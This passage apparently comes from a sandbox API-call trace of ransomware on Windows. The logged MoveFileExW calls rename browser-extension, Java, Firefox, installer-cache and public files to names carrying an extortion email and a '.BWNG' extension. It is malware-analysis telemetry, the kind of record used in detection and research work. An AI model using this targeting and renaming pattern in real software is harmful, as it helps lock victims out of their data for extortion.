Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\[billwong73@yahoo.com].tfebU75x-wEylkjUw.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\[billwong73@yahoo.com].tfebu75x-weylkjuw.bwng"), dwFlags=0x1) returned 1 [0129.455] GetTickCount () returned 0x1167e83 [0129.455] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27140748548) returned 1 [0129.456] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\[billwong73@yahoo.com].skRed26P-duoYaNEL.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\[billwong73@yahoo.com].skred26p-duoyanel.bwng"), dwFlags=0x1) returned 1 [0129.457] GetTickCount () returned 0x1167e83 [0129.457] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27140923037) returned 1 [0129.457] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\[billwong73@yahoo.com].YkB7u0Cd-ytfqUCb6.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\[billwong73@yahoo.com].ykb7u0cd-ytfqucb6.bwng"), dwFlags=0x1) returned 1 [0129.459] GetTickCount () returned 0x1167e83 [0129.459] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27141105013) returned 1 [0129.459] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\[billwong73@yahoo.com].twZRseJ3-JqS81ir0.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\[billwong73@yahoo.com].twzrsej3-jqs81ir0.bwng"), dwFlags=0x1) returned 1 [0129.460] GetTickCount () returned 0x1167e83 [0129.460] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27141273231) returned 1 [0129.461] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\[billwong73@yahoo.com].RvhKz37s-B7kqr2St.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\[billwong73@yahoo.com].rvhkz37s-b7kqr2st.bwng"), dwFlags=0x1) returned 1 [0129.462] GetTickCount () returned 0x1167e83 [0129.462] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27142603275) returned 1 [0129.505] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\[billwong73@yahoo.com].QAeZQR27-mXjLfiqL.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\[billwong73@yahoo.com].qaezqr27-mxjlfiql.bwng"), dwFlags=0x1) returned 1 [0129.507] GetTickCount () returned 0x1167eb2 [0129.507] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27145933339) returned 1 [0129.507] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\[billwong73@yahoo.com].M7IzqEv2-yEYPsBFj.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\[billwong73@yahoo.com].m7izqev2-yeypsbfj.bwng"), dwFlags=0x1) returned 1 [0129.509] GetTickCount () returned 0x1167eb2 [0129.509] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27146124568) returned 1 [0129.509] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Shanghai" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\shanghai"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].IEawkbyY-rpNgWXGr.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].ieawkbyy-rpngwxgr.bwng"), dwFlags=0x1) returned 1 [0129.511] GetTickCount () returned 0x1167eb2 [0129.511] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27146296664) returned 1 [0129.511] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ust-Nera" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\ust-nera"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].kTUAVPZJ-K6swGcJm.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].ktuavpzj-k6swgcjm.bwng"), dwFlags=0x1) returned 1 [0129.512] GetTickCount () returned 0x1167ec2 [0129.512] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27146462455) returned 1 [0129.513] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Faroe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\faroe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\[billwong73@yahoo.com].pxoDYgH3-U8FQl6hO.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\[billwong73@yahoo.com].pxodygh3-u8fql6ho.bwng"), dwFlags=0x1) returned 1 [0129.514] GetTickCount () returned 0x1167ec2 [0129.514] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27146631063) returned 1 [0129.514] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Dublin" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\dublin"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].wu4elEkx-RJoWd6S4.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].wu4elekx-rjowd6s4.bwng"), dwFlags=0x1) returned 1 [0129.516] GetTickCount () returned 0x1167ec2 [0129.516] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27146789788) returned 1 [0129.516] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Malta" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\malta"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].9kvu2qgE-rsI3jiVM.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].9kvu2qge-rsi3jivm.bwng"), dwFlags=0x1) returned 1 [0129.517] GetTickCount () returned 0x1167ec2 [0129.517] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27146939564) returned 1 [0129.517] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Simferopol" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\simferopol"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].X3ApuICS-Tqi3nZLg.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].x3apuics-tqi3nzlg.bwng"), dwFlags=0x1) returned 1 [0129.519] GetTickCount () returned 0x1167ec2 [0129.519] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27147101359) returned 1 [0129.519] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Warsaw" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\warsaw"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].89PtJ0aj-b1oOrGrH.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].89ptj0aj-b1oorgrh.bwng"), dwFlags=0x1) returned 1 [0129.520] GetTickCount () returned 0x1167ec2 [0129.520] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27147258690) returned 1 [0129.521] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Kerguelen" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\kerguelen"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\[billwong73@yahoo.com].zmUtlMhz-GLzgccGH.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\[billwong73@yahoo.com].zmutlmhz-glzgccgh.bwng"), dwFlags=0x1) returned 1 [0129.522] GetTickCount () returned 0x1167ec2 [0129.522] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27147441472) returned 1 [0129.522] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Auckland" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\auckland"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].uyjG3rjj-ePZ1YHOt.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].uyjg3rjj-epz1yhot.bwng"), dwFlags=0x1) returned 1 [0129.524] GetTickCount () returned 0x1167ec2 [0129.524] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27147633128) returned 1 [0129.524] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Gambier" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\gambier"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].tJldhXjn-GjeZ3Ru6.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].tjldhxjn-gjez3ru6.bwng"), dwFlags=0x1) returned 1 [0129.526] GetTickCount () returned 0x1167ec2 [0129.526] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27147817995) returned 1 [0129.526] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Midway" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\midway"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].9SiQgTcn-hDW47Hb2.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].9siqgtcn-hdw47hb2.bwng"), dwFlags=0x1) returned 1 [0129.528] GetTickCount () returned 0x1167ed1 [0129.528] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27148195847) returned 1 [0129.530] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Rarotonga" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\rarotonga"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].Deoku6rg-egz6wVlw.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].deoku6rg-egz6wvlw.bwng"), dwFlags=0x1) returned 1 [0129.531] GetTickCount () returned 0x1167ed1 [0129.531] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27148351772) returned 1 [0129.532] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\CST6" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\cst6"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\[billwong73@yahoo.com].BQEInGtL-K6vHcbvS.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\[billwong73@yahoo.com].bqeingtl-k6vhcbvs.bwng"), dwFlags=0x1) returned 1 [0129.533] GetTickCount () returned 0x1167ed1 [0129.533] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27148530109) returned 1 [0129.533] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\YST9YDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\yst9ydt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\[billwong73@yahoo.com].itenvC87-tevh0pgO.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\[billwong73@yahoo.com].itenvc87-tevh0pgo.bwng"), dwFlags=0x1) returned 1 [0129.535] GetTickCount () returned 0x1167ed1 [0129.535] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27148684193) returned 1 [0129.535] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\[billwong73@yahoo.com].ISMLmt7r-DoeaWRhU.BWNG" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\[billwong73@yahoo.com].ismlmt7r-doeawrhu.bwng"), dwFlags=0x1) returned 1 [0129.536] GetTickCount () returned 0x1167ed1 [0129.536] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27148866501) returned 1 [0129.537] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\[billwong73@yahoo.com].KRv0HyhG-y2G4rSUE.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\[billwong73@yahoo.com].krv0hyhg-y2g4rsue.bwng"), dwFlags=0x1) returned 1 [0129.538] GetTickCount () returned 0x1167ed1 [0129.538] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27149059821) returned 1 [0129.539] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk" (normalized: "c:\\program files (x86)\\mozilla firefox\\freebl3.chk"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\[billwong73@yahoo.com].V0eJ6QpR-gOXSkbUx.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\[billwong73@yahoo.com].v0ej6qpr-goxskbux.bwng"), dwFlags=0x1) returned 1 [0129.540] GetTickCount () returned 0x1167ed1 [0129.540] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27149215327) returned 1 [0129.540] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Music\\Sample Music\\desktop.ini" (normalized: "c:\\users\\public\\music\\sample music\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\[billwong73@yahoo.com].KNS0hwpL-XEO79EUA.BWNG" (normalized: "c:\\users\\public\\music\\sample music\\[billwong73@yahoo.com].kns0hwpl-xeo79eua.bwng"), dwFlags=0x1) returned 1 [0129.541] GetTickCount () returned 0x1167ed1 [0129.541] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27149357270) returned 1 [0129.542] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Videos\\Sample Videos\\desktop.ini" (normalized: "c:\\users\\public\\videos\\sample videos\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Videos\\Sample Videos\\[billwong73@yahoo.com].Kr0bAy5o-lfGiHL4j.BWNG" (normalized: "c:\\users\\public\\videos\\sample videos\\[billwong73@yahoo.com].kr0bay5o-lfgihl4j.bwng"), dwFlags=0x1) returned 1 [0129.621] GetTickCount () returned 0x1167f2f [0129.621] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27157328780) returned 1 [0129.622] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio_prm.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].XXZsWcnk-QfDmpzxs.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].xxzswcnk-qfdmpzxs.bwng"), dwFlags=0x1) returned 1 [0129.623] GetTickCount () returned 0x1167f2f [0129.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27157538063) returned 1 [0129.623] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\[billwong73@yahoo.com].0rUU77rK-JWOhTxZe.BWNG" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\[billwong73@yahoo.com].0ruu77rk-jwohtxze.bwng"), dwFlags=0x1) returned 1 [0129.625] GetTickCount () returned 0x1167f2f [0129.625] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27157733416) returned 1 [0129.625] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\[billwong73@yahoo.com].wFivPvLC-eHwPGS1n.BWNG" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\[billwong73@yahoo.com].wfivpvlc-ehwpgs1n.bwng"), dwFlags=0x1) returned 1 [0129.627] GetTickCount () returned 0x1167f2f [0129.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27157904102) returned 1 [0129.627] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\[billwong73@yahoo.com].lwpAu3qa-02vLeeoi.BWNG" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\[billwong73@yahoo.com].lwpau3qa-02vleeoi.bwng"), dwFlags=0x1) returned 1 [0129.629] GetTickCount () returned 0x1167f2f [0129.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27158079053) returned 1 [0129.629] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\[billwong73@yahoo.com].EXOCFNtP-LkVChspH.BWNG" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\[billwong73@yahoo.com].exocfntp-lkvchsph.bwng"), dwFlags=0x1) returned 1 [0129.630] GetTickCount () returned 0x1167f2f [0129.630] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27158229226) returned 1 [0129.630] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\[billwong73@yahoo.com].18wnGRvQ-qKDr5UAU.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\[billwong73@yahoo.com].18wngrvq-qkdr5uau.bwng"), dwFlags=0x1) returned 1 [0129.685] GetTickCount () returned 0x1167f6d [0129.685] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27163722275) returned 1 [0129.685] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\[billwong73@yahoo.com].scFgkjIc-SIKtPN0k.BWNG" (normalized: "c:\\users\\default\\favorites\\msn websites\\[billwong73@yahoo.com].scfgkjic-siktpn0k.bwng"), dwFlags=0x1) returned 1 [0129.686] GetTickCount () returned 0x1167f6d [0129.686] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27163862648) returned 1 [0129.687] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\default\\links\\recentplaces.lnk"), lpNewFileName="C:\\Users\\Default\\Links\\[billwong73@yahoo.com].mUNmaW5K-SEgNsvs2.BWNG" (normalized: "c:\\users\\default\\links\\[billwong73@yahoo.com].munmaw5k-segnsvs2.bwng"), dwFlags=0x1) returned 1 [0129.688] GetTickCount () returned 0x1167f6d [0129.688] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27163993726) returned 1 [0129.688] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk"), lpNewFileName="C:\\Users\\Public\\Desktop\\[billwong73@yahoo.com].UEHZVzip-9iPmNy6s.BWNG" (normalized: "c:\\users\\public\\desktop\\[billwong73@yahoo.com].uehzvzip-9ipmny6s.bwng"), dwFlags=0x1) returned 1 [0129.689] GetTickCount () returned 0x1167f6d [0129.689] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27164141324) returned 1 [0129.689] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), 